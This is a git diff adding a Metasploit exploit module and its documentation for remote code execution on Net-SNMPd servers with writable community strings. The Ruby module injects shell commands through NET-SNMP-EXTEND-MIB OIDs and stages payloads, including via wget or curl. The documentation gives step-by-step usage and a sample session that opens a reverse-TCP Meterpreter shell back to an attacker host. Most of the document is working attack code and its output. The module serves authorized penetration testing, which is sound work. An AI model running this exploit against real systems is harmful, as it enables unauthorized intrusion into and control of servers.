diff --git a/documentation/modules/exploit/linux/snmp/net_snmpd_rw_access.md b/documentation/modules/exploit/linux/snmp/net_snmpd_rw_access.md new file mode 100644 index 0000000000..fdba10dac2 --- /dev/null +++ b/documentation/modules/exploit/linux/snmp/net_snmpd_rw_access.md @@ -0,0 +1,123 @@ +## Vulnerable Application + + This module uses SNMP extension MIBs to enable remote code execution on the Linux Net-SNMPD servers using the + SNMP-EXTEND-MIB. + +## Verification Steps + + 1. Start `msfconsole` + 2. Do: `use exploit/linux/snmp/net_snmpd_rw_access` + 3. Do: `set rhost [IP]` + 4. Do: `set community [SNMP Community]` + 5. Do: `set version [SNMP Version]` + 6. Configure the payload + 7. Do: `run` + 8. You should get a session + +## Options + **FILEPATH** + The location to write the executable out to on the target. Needs to be writable by the SNMP service user. This defaults to /tmp. + + **COMMUNITY** + The read/write community string of the target Net-SNMP service. + + **VERSION** + The SNMP protocol version. Accepted values are '1' or '2c'. + + **CHUNKSIZE** + The maximum amount of payload bytes to write in a single operation. This value was found through experimentation and may not be suitable in all environments, but should hopefully work for all cmdstager flavors + Note that cmdstager payloads are modified to allow further escaping, so the values limits may also change between cmdstager flavors. + This is possibly related to the following bug: [https://sourceforge.net/p/net-snmp/bugs/2542/]. + + **TIMEOUT** + Specifies the maximum time to allow SNMP to timeout. + + **SHELL** + The shell to call for the client. Defaults to '/bin/bash' + + + +## Scenario + + ``` + msf > use exploit/linux/snmp/net_snmpd_rw_access + msf exploit(linux/snmp/net_snmpd_rw_access) > set payload linux/x86/meterpreter/reverse_tcp + payload => linux/x86/meterpreter/reverse_tcp + msf exploit(linux/snmp/net_snmpd_rw_access) > set rhost 192.168.1.3 + rhost => 192.168.1.3 + msf exploit(linux/snmp/net_snmpd_rw_access) > set lhost 192.168.1.2 + lhost => 192.168.1.2 + msf exploit(linux/snmp/net_snmpd_rw_access) > set community private + community => private + msf exploit(linux/snmp/net_snmpd_rw_access) > set version 2c + version => 2c + + msf exploit(linux/snmp/net_snmpd_rw_access) > show info + + Name: Net-SNMPd Write Access SNMP-EXTEND-MIB arbitrary code execution + Module: exploit/linux/snmp/net_snmpd_rw_access + Platform: + Arch: + Privileged: No + License: Metasploit Framework License (BSD) + Rank: Normal + + Provided by: + Steve Embling at InteliSecure + + Available targets: + Id Name + -- ---- + 0 Linux x86 + + Basic options: + Name Current Setting Required Description + ---- --------------- -------- ----------- + CHUNKSIZE 200 yes Maximum bytes of payload to write at once + COMMUNITY private yes SNMP Community String + FILEPATH /tmp yes file path to write to + RETRIES 1 yes SNMP Retries + RHOST 192.168.1.3 yes The target address + RPORT 161 yes The target port (TCP) + SHELL /bin/bash yes Shell to call with -c argument + SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0 + SRVPORT 8080 yes The local port to listen on. + SSL false no Negotiate SSL for incoming connections + SSLCert no Path to a custom SSL certificate (default is randomly generated) + TIMEOUT 1 yes SNMP Timeout + URIPATH no The URI to use for this exploit (default is random) + VERSION 2c yes SNMP Version <1/2c> + + Payload information: + Space: 4096 + + Description: + This exploit module exploits the SNMP write access configuration + ability of SNMP-EXTEND-MIB to configure MIB extensions and lead to + remote code execution. + + References: + https://www.intelisecure.com + + msf exploit(linux/snmp/net_snmpd_rw_access) > run + + [*] Started reverse TCP handler on 192.168.1.2:4444 + [*] Command Stager progress - 1.11% done (199/17924 bytes) + [*] Command Stager progress - 2.23% done (399/17924 bytes) + [*] Command Stager progress - 3.34% done (598/17924 bytes) + [*] Command Stager progress - 4.45% done (797/17924 bytes) + ... Redacted ... + [*] Command Stager progress - 98.64% done (17681/17924 bytes) + [*] Command Stager progress - 99.72% done (17873/17924 bytes) + [*] Sending stage (857352 bytes) to 192.168.1.3 + [*] Meterpreter session 31 opened (192.168.1.2:4444 -> 192.168.1.3:54232) at 2018-02-14 17:30:22 +0000 + [+] SNMP request timeout (this is promising). + [*] Command Stager progress - 100.00% done (18022/18022 bytes) + + + meterpreter > getuid + Server username: uid=121, gid=129, euid=121, egid=129 + meterpreter > exit + [*] 192.168.1.3 - Meterpreter session 30 closed. Reason: User exit + + ``` diff --git a/modules/exploits/linux/snmp/net_snmpd_rw_access.rb b/modules/exploits/linux/snmp/net_snmpd_rw_access.rb new file mode 100644 index 0000000000..2da0b7a254 --- /dev/null +++ b/modules/exploits/linux/snmp/net_snmpd_rw_access.rb @@ -0,0 +1,106 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'snmp' + +class MetasploitModule < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::SNMPClient + include Msf::Exploit::CmdStager + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Net-SNMPd Write Access SNMP-EXTEND-MIB arbitrary code execution', + 'Description' => %q( + This exploit module exploits the SNMP write access configuration ability of SNMP-EXTEND-MIB to + configure MIB extensions and lead to remote code execution. + ), + 'License' => MSF_LICENSE, + 'Author' => ['Steve Embling at InteliSecure'], + 'References' => + [ + [ 'URL', 'http://net-snmp.sourceforge.net/docs/mibs/NET-SNMP-EXTEND-MIB.txt'], + [ 'URL', 'https://medium.com/rangeforce/snmp-arbitrary-command-execution-19a6088c888e'], + [ 'URL', 'https://digi.ninja/blog/snmp_to_shell.php'], + [ 'URL', 'https://sourceforge.net/p/net-snmp/mailman/message/15735617/'] + ], + 'Payload' => + { + 'Space' => 4096 + #note space above is not a hard limit and can be increased if required + #'BadChars' => "\x00" + }, + 'Targets' => + [ + ['Linux x86', { + 'Arch' => ARCH_X86, + 'Platform' => 'linux', + 'CmdStagerFlavor' => [ :echo, :printf, :bourne, :wget, :curl ]}], + ['Linux x64', { + 'Arch' => ARCH_X64, + 'Platform' => 'linux', + 'CmdStagerFlavor' => [ :echo, :printf, :bourne, :wget, :curl ]}] + ], + #Not tested on other platforms but confirmed the above works. + 'DisclosureDate' => "May 10 2004", + 'DefaultTarget' => 0, + ) + ) + register_options( + [ + OptString.new('FILEPATH', [true, 'file path to write to ', '/tmp']), + OptString.new('CHUNKSIZE', [true, 'Maximum bytes of payload to write at once ', 200]), + OptString.new('SHELL', [true, 'Shell to call with -c argument', '/bin/bash']) + ]) + end + + # The exploit method connects and sets: + # NET-SNMP-EXTEND-MIB::nsExtendStatus."tmp" = INTEGER: createAndGo(4) + # NET-SNMP-EXTEND-MIB::nsExtendCommand."tmp" = STRING: /path/to/executable + # NET-SNMP-EXTEND-MIB::nsExtendArgs."tmp" = STRING: arguments + def execute_command(cmd, opts = {}) + oid_1 = '1.3.6.1.4.1.8072.1.3.2.2.1.21.3.116.109.112' + oid_1_value = 4 + oid_2 = '1.3.6.1.4.1.8072.1.3.2.2.1.2.3.116.109.112' + oid_2_value = datastore['SHELL'] + oid_3 = '1.3.6.1.4.1.8072.1.3.2.2.1.3.3.116.109.112' + oid_4 = '1.3.6.1.4.1.8072.1.3.2.4.1.2.3.116.109.112.1' + + comm = datastore['COMMUNITY'] + + cmd = cmd.shellescape unless flavor == :bourne + + oid_3_value = "-c \"#{cmd}\"" + + vprint_status(oid_3_value) + SNMP::Manager.open(:Host => rhost, :Port => rport, :Community => comm) do |manager| + #vprint_status(manager.get_value("sysDescr.0")) + varbind1 = SNMP::VarBind.new(oid_1,SNMP::Integer.new(oid_1_value)) + varbind2 = SNMP::VarBind.new(oid_2,SNMP::OctetString.new(oid_2_value)) + varbind3 = SNMP::VarBind.new(oid_3,SNMP::OctetString.new(oid_3_value)) + resp = manager.set([varbind1, varbind2, varbind3]) + vprint_status(manager.get_value(oid_4).to_s) + end + #Hit same again, first rewrite appears to remove the MIB, the next reinstates it. + SNMP::Manager.open(:Host => rhost, :Port => rport, :Community => comm) do |manager| + varbind1 = SNMP::VarBind.new(oid_1,SNMP::Integer.new(oid_1_value)) + varbind2 = SNMP::VarBind.new(oid_2,SNMP::OctetString.new(oid_2_value)) + varbind3 = SNMP::VarBind.new(oid_3,SNMP::OctetString.new(oid_3_value)) + begin + resp = manager.set([varbind1, varbind2, varbind3]) + vprint_status(manager.get_value(oid_4).to_s) + rescue SNMP::RequestTimeout + print_good("SNMP request timeout (this is promising).") + end + end + end + + def exploit + execute_cmdstager(linemax: datastore['CHUNKSIZE'].to_i, :temp => datastore['FILEPATH']) + end +end